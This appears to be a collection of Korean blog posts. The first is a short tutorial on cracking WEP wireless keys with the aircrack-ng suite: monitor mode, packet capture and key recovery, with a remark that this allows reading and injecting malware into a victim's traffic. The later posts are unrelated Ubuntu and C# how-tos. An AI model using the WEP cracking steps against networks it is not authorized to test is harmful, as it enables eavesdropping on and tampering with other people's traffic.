무선랜의 암호화 방식중 WEP의 암호키를 알아내는 방법입니다. WEP의 크랙에 성공하게 되면 해당 사용자가 보내는 모든 패킷을 볼 수 있고, 이를 가로 채서 악성코드를 심을수도 있습니다.
필요한 툴들을 설치하기위한 저장소를 수정하겠습니다.
%sudo cp /etc/apt/sources.list /etc/apt/sources.list_back
기존의 저장소를 백업해둡니다.
#sudo gedit /etc/apt/sources.list
저장소를 열어 아래의 내용을 추가합니다.(카이스트 저장소 추가)
deb http://kr.archive.ubuntu.com/ubuntu/ maverick-security multiverse
deb-src http://kr.archive.ubuntu.com/ubuntu/ maverick-security multiverse
#sudo apt-get update
저장소를 업데이트한후 재부팅해줍니다.
필요한 툴들을 설치합니다.
%sudo apt-get install aricrack-ng
%sudo apt-get install airmon-ng
%sudo apt-get install airodump-ng
%sudo apt-get install aircrack-ng
%sudo apt-get install kismet
먼저 iwcofing 명령어를 통해 현재 설치되어있는 네트워크 인터페이스의 정보를 확인합니다.
현재 제 컴퓨터에 사용하고 있는 무선랜 인터페이스의 이름은 wlan0입니다.
이 무선랜 인터페이스를 모니터 모드로 바꿔주어야 합니다.
$sudo airmon-ng start [인터페이스 이름]
성공적으로 이루어지면 mon0이라는 모니터 모드로 동작하고 있는 새로운 인터페이스가 추가되어있습니다.
그럼 이제 airodump-ng으로 실시간으로 지나가는 모든 패킷을 캡처링을 할 수 있습니다.
%sudo airodump-ng mon0 -w dump
으로 lv데이터를 모아서 dump 파일로 만듭니다.
lv데이터는 AP와 수신할때 앞에 24비트의 정보를 포함하고 있는 데이터를 말합니다.
충분히 많은 IVs를 모았을때
$sudo aircrack-ng dump-01.cap
를 이용하여 암호를 알아냅니다.
[참고]http://www.askstudent.com/hacking/how-to-crack-a-wep-key-using-ubuntu/
우분투 9.04 이후에는 NTFS를 마운트 시키기 위해 별다른 작업을 하지 않더라도 이미 인식은 되어 있어서 윈도우창에서 한번만 NTFS 파티션에 접속하기만 하면 자동으로 마운트됩니다.
하지만 한번이라도 NTFS 파티션에 접속을 해야 마운트 되기 때문에 부팅때부터 NTFS 파티션을 자동으로 마운트 하기 위해서는 /etc/fstab 파일에 한줄만 추가해주면 됩니다.
/etc/fstab 파일은 부팅시 마운트 시킬 장치들에 대한 정보를 가지고 있는 설정 파일입니다.
우선 마운트 시킬 NTFS 파티션의 UUID를 알아야 합니다.
$sudo blkid
명령어를 실행 시키면 모든 파티션의 대한 정보가 나타납니다.
여기서 보면 NTFS 파티션의 UUID가 “3E6EA9836EA93495”이란 것을 알 수 있습니다.
이정보를 /etc/fstab파일에 추가시켜주면 끝입니다.
추가하기 전에 먼저 마운트 시킬 디렉토리를 생성해주겠습니다.
$sudo mkdir /home/mong/Data
명령어로 /etc/fstab파일을 엽니다
$sudo vim /etc/fstab
설정 파일의 맨 밑에
UUID=[마운트시킬 UUID] [마운트시킬위치] [타입] [옵션], [설정]
를 추가해주시면 됩니다.
이제부터는 부팅할때 자동으로 NTFS 파티션이 /home/mong/Data디렉토리에 마운트되어있게 됩니다.
MySQL에서 한글로 된 데이터를 바로 받아오면 한글이 깨져서 날라오는 경우가 있습니다.
인코딩 형식이 다르기 때문인데, MySql서버와 닷넷에서의 인코딩 환경을 같게 해주면 될것 같은데 잘 안되더군요
그래서 그냥 byte로 받아온다음에 이를 다시 string 로 변환해주는 방법으로 해결하였습니다.
string query = "select * from CostomUser";//적용시킬 쿼리문
byte[] data_query = Encoding.Default.GetBytes(query);
MySqlCommand cmd = new MySqlCommand(Encoding.GetEncoding("ISO-8859-1").GetString(data_query));
cmd.Connection = Loginconn;
Loginconn.Open();
MySqlDataReader reader = cmd.ExecuteReader();
try
{
while (reader.Read())//데이터베이스의 값 불러오기
{
byte[] data = Encoding.GetEncoding("ISO-8859-1").GetBytes(reader.GetString(1));
string str = Encoding.Default.GetString(data);
listView1.Items.Add(str);//Getstring(n) : n번째 컬럼 값
}
}
catch
{
MessageBox.Show("연결 실패 했지롱");
}
Loginconn.Close();
Google, Bing, Daum, Naver 등 많은 포털 사이트에서 Open Maps 서비스를 제공합니다.
이러한 서비스를 제공하는 포털 사이트에서는 각각에 서비스에 맞춰 OpenAPI를 제공하는데 이러한 OpenAPI는 전주 익스플로러의 웹상에서 사용이 가능한 것이였기 때문에 C#과 같은 WinForms 에는 연동하기가 조금은 어려웠습니다.
하지만 GMap.NET을 이용하면 굉장히 쉽게 연동할 수 있습니다.
GMap.NET는 Open Source .Net Control으로써 몇개의 dll을 추가 참조함으로써 기존의 컨트롤들과 같이 쉽게 사용 할 수 있습니다.
자세한 내용은 해당 웹 사이트를 이용하시기 바랍니다.
http://greatmaps.codeplex.com/
(라이브러리 형태뿐만 아니라 전체 데모 소스도 다운 받으실 수 있습니다)
이렇게 하면 도구상자에서 기존의 컨트롤처럼 드래그하여 사용할 수 있습니다.
우분투와 윈도우를 멀티부팅으로 사용하다가 윈도우를 포맷을 하고 다시 설치하니 Grub가 날아갔습니다.
윈도우는 설치시 MBR에 자신의 로더를 덮어씌우기 때문에 어쩔수 없이 Grub를 다시 설치해주어야합니다.
ubunt#sudo -i
을 입력하여 root권한을 얻습니다.
sudo로 매번 root권한을 얻어도 되지만 앞으로 하는 진행되는 작업들 모두 root권한을 필요로 함으로 root권한을 얻은채로 작업을 하는 것이 쉽습니다.
root#fdisk -l
우분투가 깔린 파티션을 root에 마운트 시킵니다 root#mount /dev/sda5 /root
root#grub-install --root-directory=/root /dev/sda
여기서 sda는 리눅스 파티션이 있는 물리하드디스크의 값입니다. 간단하게 리눅스가 깔린 파티션 이름의 숫자부분을 빼면 됩니다.
public static bool Register_Write(string o_key, string o_data)
{
try
{
RegistryKey regkey;
regkey = Registry.CurrentUser.OpenSubKey("Software", true);
regkey.CreateSubKey(@"레지스트리 목록이름");//레지스트리 목록 생성
regkey = Registry.CurrentUser.OpenSubKey(@"Software\Login", true);//생성한 레지스트리에 접근가능하도록 설정
regkey.SetValue(o_key, o_data);//키 값과 데이터를 저장
regkey.Close();
return true;
}
catch
{
return false;
}
}
public static string Register_Read(string o_key)
{
string l_str;
try
{
RegistryKey regkey;
regkey = Registry.CurrentUser.OpenSubKey(@"Software\Login", true);//해당 레지스트리에 접근
l_str = regkey.GetValue(o_key).ToString().Trim();//해당 키값에 대한 데이터를 저장
regkey.Close();
return l_str;//가져온 데이터를 반환
}
catch
{
return "";
}
}